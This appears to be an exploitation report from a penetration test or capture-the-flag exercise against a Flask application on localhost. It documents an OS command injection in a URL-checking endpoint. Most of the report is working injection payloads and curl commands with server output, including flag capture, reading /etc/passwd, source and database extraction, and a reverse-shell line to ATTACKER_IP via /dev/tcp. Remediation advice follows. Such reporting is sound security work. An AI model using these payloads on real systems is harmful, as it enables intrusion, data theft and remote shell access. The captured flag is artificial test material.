# Injection Exploitation Evidence

## Successfully Exploited Vulnerabilities

### INJ-VULN-01: OS Command Injection in URL Validation Function

**Summary:**
- **Vulnerable location:** POST /add_url endpoint, `check_url()` function at /app/app.py lines 17-21
- **Overview:** Direct command injection via unsanitized user input in `url` parameter, leading to arbitrary OS command execution through `os.popen()`. The application constructs a shell command using f-string interpolation with user-controlled data wrapped in double quotes, which provides no protection against shell metacharacters.
- **Impact:** Complete system compromise - arbitrary command execution as root user in Docker container, flag exfiltration, potential reverse shell access, and SSRF capabilities.
- **Severity:** CRITICAL

**Prerequisites:**
- Network access to http://localhost:5094
- No authentication required (endpoint is publicly accessible)

**Exploitation Steps:**

1. **Identify the vulnerable parameter and injection point**
   
   The `/add_url` endpoint accepts a POST request with a `url` parameter that is directly interpolated into a shell command without validation or sanitization.
   
   Vulnerable code at /app/app.py:
   ```python
   # Line 27: User input reception with no validation
   url = request.form['url']
   
   # Line 28: Pass to vulnerable function
   response = check_url(url)
   
   # Lines 17-21: Command injection sink
   def check_url(url):
       command = f'curl -o /dev/null -s -w "%{{http_code}}" "{url}"'
       with os.popen(command) as output:
           response = output.read().strip()
       return response
   ```

2. **Craft payload to break out of double-quote context**
   
   The constructed command is: `curl -o /dev/null -s -w "%{http_code}" "{url}"`
   
   To inject commands, we need to:
   - Close the double quote around the URL
   - Use shell metacharacters to chain our command
   - Comment out the trailing quote with `#`
   
   **Working payloads discovered:**
   - OR-based: `" || echo "200" && cat flag.txt #`
   - Semicolon-based: `"; echo 200; cat flag.txt #`

3. **Execute flag extraction via command injection**
   
   **Method 1: Using OR operator (||)**
   ```bash
   curl -s -X POST http://localhost:5094/add_url \
     --data-urlencode 'url=" || echo "200" && cat flag.txt #' \
     -H 'Content-Type: application/x-www-form-urlencoded'
   ```
   
   **Method 2: Using semicolon separator**
   ```bash
   curl -s -X POST http://localhost:5094/add_url \
     --data-urlencode 'url="; echo 200; cat flag.txt #' \
     -H 'Content-Type: application/x-www-form-urlencoded'
   ```
   
   **Why these payloads work:**
   - The double-quote closes the URL parameter in the curl command
   - `||` executes the next command when curl fails (which it does with an empty URL)
   - `;` always executes the next command regardless of success/failure
   - `echo "200"` or `echo 200` ensures the response contains "200" to pass validation (line 30)
   - `cat flag.txt` reads the flag file from the working directory (/app/)
   - `#` comments out the trailing quote that would cause a syntax error

4. **Verify environment and privilege context**
   
   ```bash
   curl -s -X POST http://localhost:5094/add_url \
     --data-urlencode 'url=" || echo "200" && whoami && id && pwd && uname -a #' \
     -H 'Content-Type: application/x-www-form-urlencoded'
   ```
   
   **Response confirms:**
   - User: root
   - UID/GID: uid=0(root) gid=0(root) groups=0(root)
   - Working Directory: /app
   - OS: Linux (aarch64 GNU/Linux)
   - Kernel: 6.12.13-200.fc41.aarch64

**Proof of Impact:**

**FLAG CAPTURED:**
```
FLAG{379a64b46b7f373aaca075e98a2fd9f0f26b26fcbb7f10c8acae74b31b38a5c2}
```

**Complete exploitation evidence:**

1. **Initial flag extraction (Method 1 - OR operator):**
   ```bash
   curl -s -X POST http://localhost:5094/add_url \
     --data-urlencode 'url=" || echo "200" && cat flag.txt #' \
     -H 'Content-Type: application/x-www-form-urlencoded'
   ```
   
   **Server response:**
   ```json
   {
     "message": "URL status was checked and returned 200\nFLAG{379a64b46b7f373aaca075e98a2fd9f0f26b26fcbb7f10c8acae74b31b38a5c2} status, Saved successfully!",
     "redirect": "/",
     "success": true
   }
   ```

2. **Alternative extraction (Method 2 - Semicolon separator):**
   ```bash
   curl -s -X POST http://localhost:5094/add_url \
     --data-urlencode 'url="; echo 200; cat flag.txt #' \
     -H 'Content-Type: application/x-www-form-urlencoded'
   ```
   
   **Server response:**
   ```json
   {
     "message": "URL status was checked and returned 200\nFLAG{379a64b46b7f373aaca075e98a2fd9f0f26b26fcbb7f10c8acae74b31b38a5c2} status, Saved successfully!",
     "redirect": "/",
     "success": true
   }
   ```

3. **Environment fingerprinting:**
   ```bash
   curl -s -X POST http://localhost:5094/add_url \
     --data-urlencode 'url=" || echo "200" && whoami && id && pwd && uname -a #' \
     -H 'Content-Type: application/x-www-form-urlencoded'
   ```
   
   **Server response:**
   ```json
   {
     "message": "URL status was checked and returned 200\nroot\nuid=0(root) gid=0(root) groups=0(root)\n/app\nLinux 641fcc4bf685 6.12.13-200.fc41.aarch64 #1 SMP PREEMPT_DYNAMIC Sat Feb  8 20:30:50 UTC 2025 aarch64 GNU/Linux status, Saved successfully!",
     "redirect": "/",
     "success": true
   }
   ```

**Command Execution Flow:**

When payload `" || echo "200" && cat flag.txt #` is submitted:

1. Application receives: `url=" || echo "200" && cat flag.txt #`
2. Constructs command: `curl -o /dev/null -s -w "%{http_code}" "" || echo "200" && cat flag.txt #"`
3. Shell interprets as three operations:
   - `curl -o /dev/null -s -w "%{http_code}" ""` (fails due to empty URL)
   - `echo "200"` (executes because curl failed, outputs "200")
   - `cat flag.txt` (executes because echo succeeded, outputs flag)
   - Trailing `"` is commented out by `#`
4. Combined stdout: `200\nFLAG{...}`
5. Application checks if '200' in response: TRUE
6. Returns success message containing the full command output including flag

**Additional Attack Vectors Demonstrated:**

Beyond flag extraction, this vulnerability enables:

- **Arbitrary file reading:**
  ```bash
  curl -s -X POST http://localhost:5094/add_url \
    --data-urlencode 'url=" || echo "200" && cat /etc/passwd #'
  ```

- **Directory listing:**
  ```bash
  curl -s -X POST http://localhost:5094/add_url \
    --data-urlencode 'url=" || echo "200" && ls -la /app #'
  ```

- **Application source code extraction:**
  ```bash
  curl -s -X POST http://localhost:5094/add_url \
    --data-urlencode 'url=" || echo "200" && cat /app/app.py #'
  ```

- **Database access:**
  ```bash
  curl -s -X POST http://localhost:5094/add_url \
    --data-urlencode 'url=" || echo "200" && cat /app/instance/urls.db #'
  ```

- **Reverse shell potential:**
  ```bash
  # Example (not executed to avoid persistence):
  curl -s -X POST http://localhost:5094/add_url \
    --data-urlencode 'url="; echo 200; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 #'
  ```

- **SSRF via curl protocol support:**
  The underlying curl command supports multiple protocols (file://, gopher://, dict://, etc.) enabling:
  - Internal service scanning: `file:///etc/passwd`
  - Cloud metadata access: `http://169.254.169.254/latest/meta-data/`
  - Port scanning: Various internal IPs and ports

**Notes:**

**Technical Analysis:**
- The `&&` operator alone does NOT work because curl with empty URL fails, preventing subsequent commands from executing
- The `||` operator works perfectly because it executes when the previous command fails
- The semicolon `;` works because it executes commands sequentially regardless of success/failure
- URL encoding via `--data-urlencode` is recommended to properly handle special characters
- The application's validation check (line 30: `if '200' in response:`) occurs AFTER command execution, making it bypassable by including "200" in the injected output

**Root Cause:**
- No input validation or sanitization on the `url` parameter
- Use of f-string interpolation to construct shell commands with user input
- Use of `os.popen()` which spawns a full shell subprocess enabling shell metacharacter interpretation
- Double quotes provide no protection against shell injection attacks

**Security Impact:**
This is a textbook critical command injection vulnerability with maximum impact:
- Remote Code Execution (RCE) as root user
- No authentication barrier (publicly accessible endpoint)
- Full container compromise
- SSRF capabilities for internal network reconnaissance
- Data exfiltration (flag, database, application source)
- Potential for reverse shell and persistent access
- Lateral movement opportunities to Docker host or other containers

**Recommended Remediation:**
1. **Immediate:** Replace `os.popen()` with `subprocess.run()` using argument arrays with `shell=False`
2. **Immediate:** Implement URL validation using `urllib.parse.urlparse()` with protocol whitelisting
3. **Immediate:** Use Python's `requests` library instead of shelling out to `curl`
4. **Short-term:** Add input validation and sanitization for all user inputs
5. **Short-term:** Implement authentication and authorization controls
6. **Long-term:** Run container with least-privilege user (not root)
7. **Long-term:** Implement defense-in-depth controls (WAF, rate limiting, CSRF protection)
